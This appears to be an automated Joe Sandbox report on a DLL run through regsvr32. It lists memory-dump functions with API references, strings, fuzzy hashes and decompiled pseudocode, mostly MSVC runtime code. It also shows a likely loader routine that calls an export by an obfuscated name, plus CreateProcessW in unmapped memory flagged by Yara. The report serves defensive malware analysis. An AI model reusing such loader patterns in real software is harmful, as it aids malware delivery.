_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D2765A, 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$InfoStartup_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 1930727954-3864165772
Opcode ID: ad15c381301d28b8263a0ad4c3d04fd02eedca4ba797fff4e6a56cbc154e2c0b
Instruction ID: 04d5086f9a303f60624db38f474b136a55c048ce8eacbf8a5fedaf0ba48a359d
Opcode Fuzzy Hash: ad15c381301d28b8263a0ad4c3d04fd02eedca4ba797fff4e6a56cbc154e2c0b
Instruction Fuzzy Hash: DDF1D82260DBC5C9E7B08B19E88076EB7A0F385B64F258226CAED477E4DB3DD445CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27DE0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__initmbctable.LIBCMT ref: 000007FEF9D27DED
_calloc_dbg.LIBCMTD ref: 000007FEF9D27E7B
_calloc_dbg.LIBCMTD ref: 000007FEF9D27F1B

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D27F9B

Strings

_setenvp, xrefs: 000007FEF9D27F8B
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27E66, 000007FEF9D27F06
~, xrefs: 000007FEF9D27EFE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27F84
strcpy_s(*env, cchars, p), xrefs: 000007FEF9D27F92

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$__initmbctable_invalid_parameter_invoke_watson_if_error
String ID: _setenvp$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$strcpy_s(*env, cchars, p)$~
API String ID: 1648969265-681193798
Opcode ID: 1267f019c7e433370f87e7d76307e13ae481beb469170db0d9b2813ec215c0ca
Instruction ID: dee10c55842e2b838f4c2249843f6d7af4c066fce2f7611d1afded1b25fdeaa1
Opcode Fuzzy Hash: 1267f019c7e433370f87e7d76307e13ae481beb469170db0d9b2813ec215c0ca
Instruction Fuzzy Hash: D0514F31A1CA8682EB90CB19E88576E77E0F385794F704126EACE477B4DB7EE4408B51

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27280 Relevance: 12.1, APIs: 8, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 000007FEF9D272CE
DecodePointer.KERNEL32 ref: 000007FEF9D27375
DecodePointer.KERNEL32 ref: 000007FEF9D272EC

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

DecodePointer.KERNEL32 ref: 000007FEF9D27398
DecodePointer.KERNEL32 ref: 000007FEF9D273AA
_initterm.LIBCMTD ref: 000007FEF9D27408
_initterm.LIBCMTD ref: 000007FEF9D2741B
__crtExitProcess.LIBCMTD ref: 000007FEF9D2747D

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$_initterm$EncodeExitProcess__crt
String ID:
API String ID: 3799933513-0
Opcode ID: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction ID: 37cfb5e84e154ae2fbcc5f75e30e47dd1cf7b4373ba061ec72f9a9691eeac49a
Opcode Fuzzy Hash: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction Fuzzy Hash: 36511C3291DB4281E6A09B58EC8436EB7E0F386794F315125EACD427B9DF7EE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28670 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE ref: 000007FEF9D2867D
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D28722
FreeEnvironmentStringsW.KERNEL32 ref: 000007FEF9D28764

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c, xrefs: 000007FEF9D2873E

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c
API String ID: 1823725401-2473407871
Opcode ID: 2fea13ac07d8f022f3d86b1cc1b99bf950f7c5081f441752a002fe175989ec87
Instruction ID: ccbee8cdd8044984a813dbfd6c9bb6ca90d3427a1697cce954f0caea4fdd0345
Opcode Fuzzy Hash: 2fea13ac07d8f022f3d86b1cc1b99bf950f7c5081f441752a002fe175989ec87
Instruction Fuzzy Hash: 8B41A536618B8586E794CB56F84432FB7E1F785B94F200429EBCD47B68DBBED4548B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000007FEF9D27540: _initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
Part of subcall function 000007FEF9D27540: _initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D28FE0: InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D2906F

FlsAlloc.KERNEL32 ref: 000007FEF9D23D55

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c, xrefs: 000007FEF9D23D7B

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocCountCriticalFreeInitializeSectionSpin_initp_eh_hooks_initp_misc_winsig_mtdeletelocks
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c
API String ID: 3828364660-3898981997
Opcode ID: 3be25d5429145f193b8b5ac72c588d3aab3a3dcc72f716665f31abf408c046fa
Instruction ID: b9f7c2a4cabba63d90327ac94b1883ffc0a3f64b25b31a8ae36976c45a874ec4
Opcode Fuzzy Hash: 3be25d5429145f193b8b5ac72c588d3aab3a3dcc72f716665f31abf408c046fa
Instruction Fuzzy Hash: 37115E30A2D60286F3E0AB29ED4577DA6E1B784B60F214275E9EE422F5DB2FE4048601

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2461B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E000007FE7FEF9D2461B(void* __rdx, void* __r8, long long _a32, long long _a40, intOrPtr _a64, long long _a72, void* _a80, intOrPtr _a88, long long _a96, long long _a128, signed int _a136, long long _a144, intOrPtr _a152, void* _a160) {
				signed int _t64;
				intOrPtr _t66;
				void* _t73;
				void* _t92;
				long long _t98;
				long long _t113;
				long long _t114;
				long long _t115;
				long long _t130;
				intOrPtr _t132;
				long long _t135;

				if (_a136 == 1) goto 0xf9d24672;
				_t64 = _a136 & 0x0000ffff;
				if (_t64 == 2) goto 0xf9d24672;
				if (_a136 == 3) goto 0xf9d24672;
				_a40 = "Error: memory allocation: bad memory block type.\n";
				_a32 = "%s";
				r9d = 0;
				r8d = 0;
				0xf9d2ad00();
				if (_t64 != 1) goto 0xf9d24672;
				asm("int3");
				_t98 = _a128 + 0x34;
				_a96 = _t98;
				0xf9d2ac90(); // executed
				_a80 = _t98;
				if (_a80 != 0) goto 0xf9d246b8;
				if (_a160 == 0) goto 0xf9d246b3;
				 *_a160 = 0xc;
				goto 0xf9d248b4;
				_t66 =  *0xf9d4b03c; // 0x38
				 *0xf9d4b03c = _t66 + 1;
				if (_a64 == 0) goto 0xf9d2472d;
				 *_a80 = 0;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = 0;
				 *((intOrPtr*)(_a80 + 0x18)) = 0xfedcbabc;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = 3;
				 *((intOrPtr*)(_a80 + 0x28)) = 0;
				goto 0xf9d24844;
				if (0xffffffff -  *0xf9d4c960 - _a128 <= 0) goto 0xf9d24763;
				_t130 =  *0xf9d4c960; // 0x42cc
				 *0xf9d4c960 = _t130 + _a128;
				goto 0xf9d2476e;
				 *0xf9d4c960 = 0xffffffff;
				_t132 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c990 = _t132 + _a128;
				_t113 =  *0xf9d4c978; // 0x32f4
				_t92 =  *0xf9d4c990 - _t113; // 0xa0c
				if (_t92 <= 0) goto 0xf9d247a8;
				_t114 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c978 = _t114;
				if ( *0xf9d4c980 == 0) goto 0xf9d247c4;
				_t115 =  *0xf9d4c980; // 0x2313b00
				 *((long long*)(_t115 + 8)) = _a80;
				goto 0xf9d247d0;
				 *0xf9d4c968 = _a80;
				_t135 =  *0xf9d4c980; // 0x2313b00
				 *_a80 = _t135;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = _a144;
				 *((intOrPtr*)(_a80 + 0x18)) = _a152;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = _a136;
				_t78 = _a88;
				 *((intOrPtr*)(_a80 + 0x28)) = _a88;
				 *0xf9d4c980 = _a80;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + 0x2c, __rdx, __r8);
				_t145 = _a128;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + _a128 + 0x30, _a128, __r8);
				_t73 = E000007FE7FEF9D232B0( *0xf9d4b04f & 0x000000ff, _t78,  *0xf9d4b04f & 0x000000ff, _a80 + 0x30, _t145, _a128);
				_a72 = _a80 + 0x30;
				return E000007FE7FEF9D29360(_t73, 4);
			}

0x7fef9d24623
0x7fef9d2462c
0x7fef9d24634
0x7fef9d2463e
0x7fef9d24647
0x7fef9d24653
0x7fef9d24658
0x7fef9d2465b
0x7fef9d24665
0x7fef9d2466d
0x7fef9d2466f
0x7fef9d2467a
0x7fef9d2467e
0x7fef9d24688
0x7fef9d2468d
0x7fef9d24698
0x7fef9d246a3
0x7fef9d246ad
0x7fef9d246b3
0x7fef9d246b8
0x7fef9d246c0
0x7fef9d246cb
0x7fef9d246d2
0x7fef9d246de
0x7fef9d246eb
0x7fef9d246f8
0x7fef9d2470c
0x7fef9d24715
0x7fef9d24721
0x7fef9d24728
0x7fef9d24743
0x7fef9d2474d
0x7fef9d2475a
0x7fef9d24761
0x7fef9d24763
0x7fef9d24776
0x7fef9d24783
0x7fef9d2478a
0x7fef9d24791
0x7fef9d24798
0x7fef9d2479a
0x7fef9d247a1
0x7fef9d247b0
0x7fef9d247b2
0x7fef9d247be
0x7fef9d247c2
0x7fef9d247c9
0x7fef9d247d5
0x7fef9d247dc
0x7fef9d247e4
0x7fef9d247f9
0x7fef9d24809
0x7fef9d24819
0x7fef9d24829
0x7fef9d24831
0x7fef9d24835
0x7fef9d2483d
0x7fef9d24854
0x7fef9d2485c
0x7fef9d2486d
0x7fef9d2487a
0x7fef9d24882
0x7fef9d248a1
0x7fef9d248af
0x7fef9d248c7

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24640

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Error: memory allocation: bad memory block type.
API String ID: 2480363372-1537269110
Opcode ID: 070c00f70d4df6f813f84e43e5590717d4ebcb6a3ae1d4e5f47ac26a0ae5b61c
Instruction ID: 5caffd3b8bb6e9a751bf86ff06ba01468230100948e3856d22c691b184e429db
Opcode Fuzzy Hash: 070c00f70d4df6f813f84e43e5590717d4ebcb6a3ae1d4e5f47ac26a0ae5b61c
Instruction Fuzzy Hash: 6B71EB36A09B8586DBA0CB59E89036EB7E0F3C9B90F218526DADD437A4DF7DD044CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26FF2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2CA00: EncodePointer.KERNEL32 ref: 000007FEF9D2CA33

_initterm_e.LIBCMTD ref: 000007FEF9D2701F

Strings

Y, xrefs: 000007FEF9D2700C

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer_initterm_e
String ID: Y
API String ID: 1618838664-1754117475
Opcode ID: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction ID: e2eda9ea6841371ef03f52dec0317b7f8d7542193ab5d09d46fee122be74aa2a
Opcode Fuzzy Hash: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction Fuzzy Hash: 1DE0C22190C042A7FAA1AB24ED453BE63E0B791344FA14231E2CD824B5EB2FF908CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23110 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF9D23110(void* __eflags, long long* __rax) {
				void* _t7;
				intOrPtr _t8;
				void* _t10;

				_t8 =  *0xf9d4c3c8; // 0x180000000
				E000007FE7FEF9D211E0(_t7, _t8, "H82WX82viYR", _t10); // executed
				 *__rax(); // executed
				return 0;
			}

0x7fef9d23114
0x7fef9d23122
0x7fef9d23127
0x7fef9d2312f

APIs

RtlExitUserProcess.NTDLL ref: 000007FEF9D23127

Strings

H82WX82viYR, xrefs: 000007FEF9D2311B

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExitProcessUser
String ID: H82WX82viYR
API String ID: 3902816426-3887106525
Opcode ID: 9520d05ee5257cfcb6870757d168f5deeb70c535bf89830e30f839e103e3a1eb
Instruction ID: 3c31bc9bae0aa088b32ec31719daf081635377c5f01f1f7dd7abf53af6b9f495
Opcode Fuzzy Hash: 9520d05ee5257cfcb6870757d168f5deeb70c535bf89830e30f839e103e3a1eb
Instruction Fuzzy Hash: 0DC04C11F2550381EA4467E6AC861AC12A16785790FA19421D55C86231DE6E92964B02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27540 Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E000007FE7FEF9D27540(long long __rax) {
				long long _v24;
				void* _t8;
				void* _t9;

				_t16 = __rax;
				_t9 = E000007FE7FEF9D23D00(_t8); // executed
				_v24 = __rax;
				return E000007FE7FEF9D2CF20(E000007FE7FEF9D2CFB0(E000007FE7FEF9D2D450(E000007FE7FEF9D2D470(E000007FE7FEF9D2BD50(E000007FE7FEF9D2AB90(_t9, _v24), _v24), _v24), _v24), _v24), _t16, _v24);
			}

0x7fef9d27540
0x7fef9d27544
0x7fef9d27549
0x7fef9d2758e

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

_initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
_initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D2CF20: EncodePointer.KERNEL32(?,?,?,?,000007FEF9D2758A,?,?,?,?,?,?,000007FEF9D23D39), ref: 000007FEF9D2CF30

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_initp_eh_hooks_initp_misc_winsig
String ID:
API String ID: 2678799220-0
Opcode ID: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction ID: d1131ca10be328b200f0d94da683d71e83c9d45f094ccb2362bb8b9ac37f618d
Opcode Fuzzy Hash: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction Fuzzy Hash: CFE07D6391D58181E6B0BB21EC5226E93B0F7C8788F610171B6CD47A7BCE1DE9018B80

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2ACA8 Relevance: 3.0, APIs: 2, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

__crtExitProcess.LIBCMTD ref: 000007FEF9D2ACB7

Part of subcall function 000007FEF9D274E0: ExitProcess.KERNEL32 ref: 000007FEF9D274F5

RtlAllocateHeap.NTDLL ref: 000007FEF9D2ACE7

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExitProcess$AllocateHeap__crt
String ID:
API String ID: 4215626177-0
Opcode ID: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction ID: 018cd22ed3aaffe80bc67b356604b0c029bcf26b5d2cff022e0890546f5cf117
Opcode Fuzzy Hash: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction Fuzzy Hash: AFE04F2490898683E7A49726E80037D63E0FB84348F614036D7CE026F5CF2FE840E601

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800178A8 Relevance: 1.6, APIs: 1, Instructions: 122processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180017A2D

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 04cf030d77e645320339c33741cb4d53f5c8d6a2e25ff01d0d4939bc2732d238
Instruction ID: 2da17281d2a08d1ac9b8a996dbaf27e8716b5e9a88d25284efbd0f172fd1731a
Opcode Fuzzy Hash: 04cf030d77e645320339c33741cb4d53f5c8d6a2e25ff01d0d4939bc2732d238
Instruction Fuzzy Hash: 7041417051CB848FDBB8DF18E48979AB7E0FB88314F104A5DE48EC7245DB749885CB86

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24399 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF9D24399(long long __rax, long long _a48, intOrPtr _a80, intOrPtr _a88, void* _a120) {

				_a48 = __rax;
				if (_a48 == 0) goto 0xf9d243ad;
				goto 0xf9d243f5;
				if (_a88 != 0) goto 0xf9d243ce;
				if (_a120 == 0) goto 0xf9d243c7;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				if (E000007FE7FEF9D2ABB0(_a48, _a80) != 0) goto 0xf9d243f3;
				if (_a120 == 0) goto 0xf9d243ef;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				goto 0xf9d24377;
				return 0;
			}

0x7fef9d24399
0x7fef9d243a4
0x7fef9d243ab
0x7fef9d243b2
0x7fef9d243ba
0x7fef9d243c1
0x7fef9d243cc
0x7fef9d243da
0x7fef9d243e2
0x7fef9d243e9
0x7fef9d243f1
0x7fef9d243f3
0x7fef9d243f9

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction ID: 1adc9abf0de1c3ca8893cd90e215b0d97e51771cadcbd8eff06287440f46b9d2
Opcode Fuzzy Hash: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction Fuzzy Hash: 8B01B332A5CB41C6F7A08A55E84472EA7E0F7C4794F321121AECD42BB8CB7DE440CA00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23471 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23496

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _ioterm
String ID:
API String ID: 4163092671-0
Opcode ID: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction ID: 7377a742d64af20529275359c4a94eabcf7c0d21081332a84b693dd33c507e1a
Opcode Fuzzy Hash: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction Fuzzy Hash: F4F03720C0C10789FAE16778AC0A37CA1D1A711B91F3252F5A0DC821F2D77FB54A8A12

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23433 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23437

Part of subcall function 000007FEF9D27D00: DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2343C), ref: 000007FEF9D27D93

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Part of subcall function 000007FEF9D288D0: HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

